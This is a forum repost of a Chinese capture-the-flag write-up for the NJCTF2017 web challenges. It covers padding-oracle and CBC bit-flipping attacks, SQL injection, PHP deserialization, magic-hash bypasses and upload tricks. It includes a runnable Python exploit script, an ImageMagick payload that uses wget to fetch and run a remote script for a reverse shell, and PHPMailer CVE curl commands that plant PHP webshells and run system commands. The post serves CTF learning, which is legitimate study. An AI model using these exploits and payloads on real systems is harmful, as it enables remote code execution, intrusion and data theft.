安全矩阵

 找回密码
 立即注册
搜索
查看: 2677|回复: 0

NJCTF2017

[复制链接]

8

主题

57

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
发表于 2020-4-1 22:37:12 | 显示全部楼层 |阅读模式
web100 Login
第一题找到这个登陆界面随便注册一个登进去之后发现在getflag.php界面下有打印了自己的用户名。第一反应是二次注入,随便构造一个提交发现注册成功,而且我多点几次任然注册成功,因为用户名不能重复的,所以想到这里有长度限制试了下发现是50,所以这样就可以想办法重置admin的密码,如下:
这样就成功重置admin的密码,登进去就拿到flag了。
web100 Get Flag
这里随便输入观察下发现服务器会cat你输入的东西,那么很好办,直接用&来进行执行自己的命令就好了,这里;什么的都被过滤了。
然后就不停的向上ls最终flag在服务器的根目录下面,如下图:
web300 Be Admin
首先通过备份文件拿到源代码如下:
  1. <?php

  2. error_reporting(0);

  3. define("SECRET_KEY", "......");

  4. define("METHOD", "aes-128-cbc");



  5. session_start();



  6. function get_random_token(){

  7.     $random_token='';

  8.     for($i=0;$i<16;$i++){

  9.         $random_token.=chr(rand(1,255));

  10.     }

  11.     return $random_token;

  12. }



  13. function get_identity()

  14. {

  15.     global $defaultId;

  16.     $j = $defaultId;

  17.     $token = get_random_token();

  18.     $c = openssl_encrypt($j, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);

  19.     $_SESSION['id'] = base64_encode($c);

  20.     setcookie("ID", base64_encode($c));

  21.     setcookie("token", base64_encode($token));

  22.     if ($j === 'admin') {

  23.         $_SESSION['isadmin'] = true;

  24.     } else $_SESSION['isadmin'] = false;



  25. }



  26. function test_identity()

  27. {

  28.     if (!isset($_COOKIE["token"]))

  29.         return array();

  30.     if (isset($_SESSION['id'])) {

  31.         $c = base64_decode($_SESSION['id']);

  32.         if ($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_COOKIE["token"]))) {

  33.             if ($u === 'admin') {

  34.                 $_SESSION['isadmin'] = true;

  35.             } else $_SESSION['isadmin'] = false;

  36.         } else {

  37.             die("ERROR!");

  38.         }

  39.     }

  40. }



  41. function login($encrypted_pass, $pass)

  42. {

  43.     $encrypted_pass = base64_decode($encrypted_pass);

  44.     $iv = substr($encrypted_pass, 0, 16);

  45.     $cipher = substr($encrypted_pass, 16);

  46.     $password = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);

  47.     return $password == $pass;

  48. }







  49. function need_login($message = NULL) {

  50.     echo "   <!doctype html>

  51.         <html>

  52.         <head>

  53.         <meta charset="UTF-8">

  54.         <title>Login</title>

  55.         <link rel="stylesheet" href="CSS/target.css">

  56.             <script src="https://cdnjs.cloudflare.com/ajax/libs/prefixfree/1.0.7/prefixfree.min.js"></script>

  57.         </head>

  58.         <body>";

  59.     if (isset($message)) {

  60.         echo "  <div>" . $message . "</div>\n";

  61.     }

  62.     echo "<form method="POST" action=''>

  63.             <div class="body"></div>

  64.                 <div class="grad"></div>

  65.                     <div class="header">

  66.                         <div>Log<span>In</span></div>

  67.                     </div>

  68.                     <br>

  69.                     <div class="login">

  70.                         <input type="text" placeholder="username" name="username">

  71.                         <input type="password" placeholder="password" name="password">              

  72.                         <input type="submit" value="Login">

  73.                     </div>

  74.                      <script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>

  75.             </form>

  76.         </body>

  77.     </html>";

  78. }



  79. function show_homepage() {

  80.     echo "<!doctype html>

  81. <html>

  82. <head><title>Login</title></head>

  83. <body>";

  84.     global $flag;

  85.     printf("Hello ~~~ ctfer! ");

  86.     if ($_SESSION["isadmin"])

  87.         echo $flag;

  88.     echo "<div><a href="logout.php">Log out</a></div>

  89. </body>

  90. </html>";



  91. }



  92. if (isset($_POST['username']) && isset($_POST['password'])) {

  93.     $username = (string)$_POST['username'];

  94.     $password = (string)$_POST['password'];

  95.     $query = "SELECT username, encrypted_pass from users WHERE username='$username'";

  96.     $res = $conn->query($query) or trigger_error($conn->error . "[$query]");

  97.     if ($row = $res->fetch_assoc()) {

  98.         $uname = $row['username'];

  99.         $encrypted_pass = $row["encrypted_pass"];

  100.     }



  101.     if ($row && login($encrypted_pass, $password)) {

  102.         echo "you are in!" . "</br>";

  103.         get_identity();

  104.         show_homepage();

  105.     } else {

  106.         echo "<script>alert('login failed!');</script>";

  107.         need_login("Login Failed!");

  108.     }



  109. } else {

  110.     test_identity();

  111.     if (isset($_SESSION["id"])) {

  112.         show_homepage();

  113.     } else {

  114.         need_login();

  115.     }

  116. }
复制代码

初步观察和secconctf2016 biscuiti的源代码有点类似,进过观察分析之后初步确定思路,首先我们知道加密后的ID,也就是密文,以及token,也就是初始向量,然后我们的目的是要提交token使ID解出来为admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b(PS:加密填充之后),这样子就会是admin的值就能成功绕过验证,而要达到这样的目的我们首先需要通过padding oracle拿到ID对应的明文,然后进行CBC字节翻转攻击,从而实现目标,相比与secconctf2016 biscuiti要相对简单,但是中间遇到各式各样的问题,譬如请求提交的时候自己习惯性的先r=request.session(),在这里反倒起了反作用。另外要说的是这道题的服务器肯定有毒,我开始死活跑步出来,查错查了俩小时没发现问题,最后实在受不了了,把所有代码框起来while 1,过了会就拿到flag了,擦,报警了。
其实最开始我的思路是在test_identity那里触发解密进行padding oracle攻击,不过这样来说就只能爆破15位,最后一位无法得到,不过可以通过枚举来尝试,但是由于服务器的锅这样有点慢,所以我还是换成在login那里触发,不过都一样,只要能触发解密控制iv就能进行padding oracle。
下面是代码,直接运行即可得到flag:
  1. import requests

  2. import base64

  3. import time

  4. url='http://218.2.197.235:23737/'

  5. #url='http://127.0.0.1:8000'

  6. N=16

  7. phpsession=""

  8. ID=""

  9. def inject1(password):

  10.     param={'username':"' union select 'bendawangbendawangbendawang','{password}".format(password=password),'password':''}

  11.     result=requests.post(url,data=param)

  12.     #print result.content

  13.     return result



  14. def inject_token(token):

  15.     header={"Cookie":"PHPSESSID="+phpsession+";token="+token+";ID="+ID}

  16.     result=requests.post(url,headers=header)

  17.     return result



  18. def xor(a, b):

  19.     return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])



  20. def pad(string,N):

  21.     l=len(string)

  22.     if l!=N:

  23.         return string+chr(N-l)*(N-l)



  24. def padding_oracle(N,cipher):

  25.     get=""

  26.     for i in xrange(1,N+1):

  27.         for j in xrange(0,256):

  28.             padding=xor(get,chr(i)*(i-1))

  29.             c=chr(0)*(16-i)+chr(j)+padding+cipher

  30.             print c.encode('hex')

  31.             result=inject1(base64.b64encode(chr(0)*16+c))

  32.             if "ctfer" not in result.content:

  33.                 get=chr(j^i)+get

  34.                 time.sleep(0.1)

  35.                 break

  36.     return get



  37. session=inject1("bendawang").headers['set-cookie'].split(',')

  38. phpsession=session[0].split(";")[0][10:]

  39. print phpsession

  40. ID=session[1][4:].replace("%3D",'=').replace("%2F",'/').replace("%2B",'+').decode('base64')

  41. token=session[2][6:].replace("%3D",'=').replace("%2F",'/').replace("%2B",'+').decode('base64')



  42. middle=""

  43. middle=padding_oracle(N,ID)

  44. print "ID:"+ID.encode('base64')

  45. print "token:"+token.encode('base64')

  46. print "middle:"+middle.encode('base64')

  47. print "\n"

  48. if(len(middle)==16):

  49.     plaintext=xor(middle,token);

  50.     print plaintext.encode('base64')

  51.     des=pad('admin',N)

  52.     tmp=""

  53.     print des.encode("base64")

  54.     for i in xrange(16):

  55.         tmp+=chr(ord(token[i])^ord(plaintext[i])^ord(des[i]))

  56.     print tmp.encode('base64')



  57.     result=inject_token(base64.b64encode(tmp))

  58.     print result.content

  59.     if "flag" in result.content or "NJCTF" in result.content or 'njctf' in result.content:

  60.         input("success")
复制代码

运行:
web350 Text wall
首先同样是通过备份文件.index.php.swo拿到部分源码如下:
  1. <?php

  2. $lists = [];

  3. Class filelist{

  4.     public function __toString()

  5.     {

  6.         return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);

  7.     }

  8. }

  9. //.....

  10. ?>
复制代码

看到源码之后想到是个反序列化,根据__toString的触发条件构造如下:
  1. <?php

  2. Class filelist{

  3.     public function __toString()

  4.     {

  5.         return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);

  6.     }

  7. }

  8. //.....

  9. $a = new filelist();

  10. $b= new filelist();

  11. $b->source = '文件路径';

  12. $a->source=$b;

  13. $d=serialize($a);

  14. $e=sha1($d).$d;

  15. echo urlencode($e)."<br>";

  16. ?>
复制代码

然后就能读取文件内容,先读取的index.php,然后在里面得知flag的位置在/var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g,读取即获得flag,截图如下
web300 Wallet
首先通过http://218.2.197.235:23723/www.zip拿到一个加密的压缩包,发现需要密码,后来猜到密码是njctf2017解开拿到加密之后的源代码,解密之后源码如下:
  1. <?php

  2. require_once("db.php");

  3. $auth = 0;

  4. if (isset($_COOKIE["auth"])) {

  5.     $auth = $_COOKIE["auth"];

  6.     $hsh = $_COOKIE["hsh"];

  7.     if ($auth == $hsh) {

  8.         $auth = 0;

  9.     } else if (sha1((string)$hsh) == md5((string)$auth)) {

  10.         $auth = 1;

  11.     } else {

  12.         $auth = 0;

  13.     }

  14. } else {

  15.     $auth = 0;

  16.     $s = $auth;

  17.     setcookie("auth", $s);

  18.     setcookie("hsh", sha1((string)$s));

  19. }

  20. if ($auth) {

  21.     if (isset($_GET['query'])) {

  22.         $db = new SQLite3($SQL_DATABASE, SQLITE3_OPEN_READONLY);

  23.         $qstr = SQLITE3::escapeString($_GET['query']);

  24.         $query = "SELECT amount FROM my_wallets WHERE id=$qstr";

  25.         $result = $db->querySingle($query);

  26.         if (!$result === NULL) {

  27.             echo "Error - invalid query";

  28.         } else {

  29.             echo "Wallet contains: $result";

  30.         }

  31.     } else {

  32.         echo "<html><head><title>Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name='input' action='admin.php' method='get'>Wallet ID: <input type='text' name='query'><input type='submit' value='Submit Query'></form></body></html>";

  33.     }

  34. } else echo "Sorry, not authorized.";

复制代码


然后发现一个比较sha1((string)$hsh) ==md5((string)$auth),想到弱类型,让两个都为0e开头的值即可,md5这样的很多,sha1的话需要先爆破,进过一番爆破找到一个aaK1STfY,然后就是一个数字型的sqlite注入,这里我直接脑洞出的,先是select flag from flag,不行,然后select 1 fromflag,成功,再然后select id from flag,获得flag,哈哈,省去了一些麻烦事,脑洞万岁!!,最后截图如下:
web400 picture’s wall
首先这里登陆的时候发现任何用户用任何密码都能随便登陆,然后进去又说是只有root能上传文件,它怎么区分是不是root呢?搞不懂,然后胡七八糟发现登陆的时候把host改了进去就能上传图片了,然后开始疯狂上传,上传的时候发现它对文件内容没有验证,然后过滤文件名的后缀方式是白名单,像是phtml啊,phps啊,pht啊之类的都能随便上传,访问之后发现它并不解析,只是打印,于是想到用<script>标签,成功上传执行,如下截图:
获取flag:
web450 Be Logical
首先进去随便注册一个账户,然后发现自己有500分和0金币,而且二者互换比例是1比1,之后发现一个兑换之后的refund功能,我先用1积分兑然了1金币,之后在refund的时候我抓包把points改成了1e111111,结果竟然成功了,然后我的积分成了这样,晕,太大了,
重新注册一个账户再来一次,然后就有了很多分了,兑换1000购买服务,进去如下:
它的功能就是把你上传的图片进行转化成别的格式,试了半天也没绕过,后来想到是不是imagmagick的命令执行漏洞,随便找了个poc如下:
  1. push graphic-context

  2. viewbox 0 0 640 480

  3. fill 'url(https://example.com/image.jpg"|wget http://bendawang.site:8000/a.py -O /tmp/bendawang.py && python /tmp/bendawang.py 104.160.43.154 12346")'

  4. pop graphic-context1234

复制代码

上传,执行成功反弹shell,在机器上找了好久也没有flag,于是想到是不是在别的机器上呢,然后扫一下网段,发现1,19,43三台机器80端口开着,访问一下19,返回一个什么邮件系统,然后瞬间想到之前phpmailer那个cve漏洞,但是需要一个可写的目录,后来脑洞到了一个uploads,访问发现403,好的有了,开始尝试,如下:
  1. curl http://172.17.0.19 -d "subject=aaaaa&email=aaa( -X /var/www/html/uploads/bendawang.php -OQueueDirectory=/tmp )@qq.com&message=<?php phpinfo();?>&submit=Send email"1
复制代码

发现成功执行phpinfo();,然后就开始上传木马,传了半天传了各式各样的木马也不行,算了,直接看看目录文件把,如下:
  1. curl http://172.17.0.19 -d 'subject=aaaaa&email=aaa( -X /var/www/html/uploads/bendawang5.php -OQueueDirectory=/tmp )@qq.com&message=<?php foreach (glob("../*") as $filename){echo $filename."<br>";};?>&submit=Send email'1
复制代码

访问拿到目录下文件如下:
  1. ../PHPMailer<br>../flaaaaaaag.php<br>../index.php<br>../uploads<br>1
复制代码

然后直接获取文件内容就可以了,先是用file_get_content,失败,后来直接system,成功,如下:
  1. curl http://172.17.0.19 -d 'subject=aaaaa&email=aaa( -X /var/www/html/uploads/bendawang9.php -OQueueDirectory=/tmp )@qq.com&message=<?php system("cat ../flaaaaaaag.php");?>&submit=Send email'1
复制代码

拿到文件内容如下:
  1. <?php $flag="NJCTF{y0U_r_A_G00oD_PeNt35T3r!}";?>1
复制代码

web350 chall1
首先是这道题的感觉,在这里发现了类似的题通过buffer来泄露内存https://www.smrrd.de/nodejs-hacking-challenge-writeup.html,但是怎么试了都不行,后来去github上随便搜一搜结果发现了源码
然后关键部分如下:
  1. ....

  2. var reg = /^[0-9]*$/;

  3. ....

  4. ....

  5. router.post('/login', function(req, res, next) {

  6.     if(req.body.password !== undefined) {

  7.         var endata = crypto.createHash('md5').update(req.body.password).digest("hex");

  8.         if (reg.test(endata)) {

  9.             var pwd = parseInt(endata.slice(0,3),10);

  10.             password = new Buffer(pwd);

  11.             if(password.toString('base64') == config.secret_password) {

  12.                 req.session.admin = 'yes';

  13.                 res.json({'status': 'ok' });

  14.             }else{

  15.                 res.json({'status': 'error', 'error': 'password wrong: '+password.toString()});

  16.             }

  17.         }else{

  18.             res.json({'status': 'error', 'error': 'password wrong: '+endata.toString()});

  19.         }

  20.     } else {

  21.         res.json({'status': 'error', 'error': 'password missing' });

  22.     }

  23. });1234567891011121314151617181920212223
复制代码

也就是说要找一个MD5之后的值全是0-9就好了,爆破之后找到了一个2PP7,然后发送请求如下:
成功泄露内存数据,疯狂尝试之后成功拿到flag
web450 chall2
根据第一个拿到的flag,将他作为session_keys
修改源码里面的app.js的为req.session.admin= 'yes';,然后访问获得session.sig
然后修改cookie登陆即可
base64解密之后  
web250 Guess
首先是通过文件包含直接获取源码,upload.php的源码如下:
  1. <?php

  2. error_reporting(0);

  3. function show_error_message($message)

  4. {

  5.     die("<div class="msg error" id="message">

  6.     <i class="fa fa-exclamation-triangle"></i>$message</div>");

  7. }



  8. function show_message($message)

  9. {

  10.     echo("<div class="msg success" id="message">

  11.     <i class="fa fa-exclamation-triangle"></i>$message</div>");

  12. }



  13. function random_str($length = "32")

  14. {

  15.     $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",

  16.         "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",

  17.         "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",

  18.         "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",

  19.         "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");

  20.     $str = '';



  21.     for ($i = 1; $i <= $length; ++$i) {

  22.         $ch = mt_rand(0, count($set) - 1);

  23.         $str .= $set[$ch];

  24.     }



  25.     return $str;

  26. }



  27. session_start();



  28. $reg='/gif|jpg|jpeg|png/';

  29. if (isset($_POST['submit'])) {

  30.     //10822560

  31.     $seed = rand(0,999999999);

  32.     mt_srand($seed);

  33.     $ss = mt_rand();

  34.     $hash = md5(session_id() . $ss);

  35.     setcookie('SESSI0N', $hash, time() + 3600);



  36.     if ($_FILES["file"]["error"] > 0) {

  37.         show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]);

  38.     }

  39.     $check1 = ((($_FILES["file-upload-field"]["type"] == "image/gif")

  40.             || ($_FILES["file-upload-field"]["type"] == "image/jpeg")

  41.             || ($_FILES["file-upload-field"]["type"] == "image/pjpeg")

  42.             || ($_FILES["file-upload-field"]["type"] == "image/png"))

  43.         && ($_FILES["file-upload-field"]["size"] < 204800));

  44.     $check2=!preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION));





  45.     if ($check2) show_error_message("Nope!");

  46.     if ($check1) {

  47.         $filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];

  48.         if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) {

  49.             show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]);

  50.         } else show_error_message("Something wrong with the upload...");

  51.     } else {

  52.         show_error_message("only allow gif/jpeg/png files smaller than 200kb!");

  53.     }

  54. }

  55. ?>
复制代码


观察之后发现我们如果有文件名,我们可以通过将木马压缩进zip包,然后上传该zip文件(改成Png后缀上传),利用phar伪协议包含执行命令。
所以我们的核心就是搞到文件名,即想办法搞到$seed。
这里我将一句话写进0.php,压缩之后改名为0.png上传
然后至于这里的session_id(),我们通过设置Cookie: PHPSESSID=;就能让它为空,所以得到随机数的md5,解开后的值为732946980,通过这个http://download.openwall.net/pub/projects/php_mt_seed/工具解开得到
然后通过这份代码
  1. <?php

  2. $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",

  3.     "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",

  4.     "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",

  5.     "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",

  6.     "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");

  7. $seed=138844507;

  8. mt_srand($seed);

  9. $ss = mt_rand();

  10. $str="";

  11. for ($i = 1; $i <= 32; ++$i) {

  12.     $ch = mt_rand(0, count($set) - 1);

  13.     $str .= $set[$ch];

  14. }

  15. echo $str;

  16. ?>
复制代码


生成文件名的前一部分为iT3Bip2WzUVhBITZPZrfTVeZjgmrK1DQ,加上我们上传的0.png,所以完整的文件路径为/uP1O4Ds/iT3Bip2WzUVhBITZPZrfTVeZjgmrK1DQ_0.png,然后访问
http://218.2.197.235:23735/?page=phar://uP1O4Ds/iT3Bip2WzUVhBITZPZrfTVeZjgmrK1DQ_0.png/0,最后执行命令即可拿到flag。
如下:


版权声明:本文为CSDN博主「Bendawang」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 17:31 , Processed in 0.014315 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表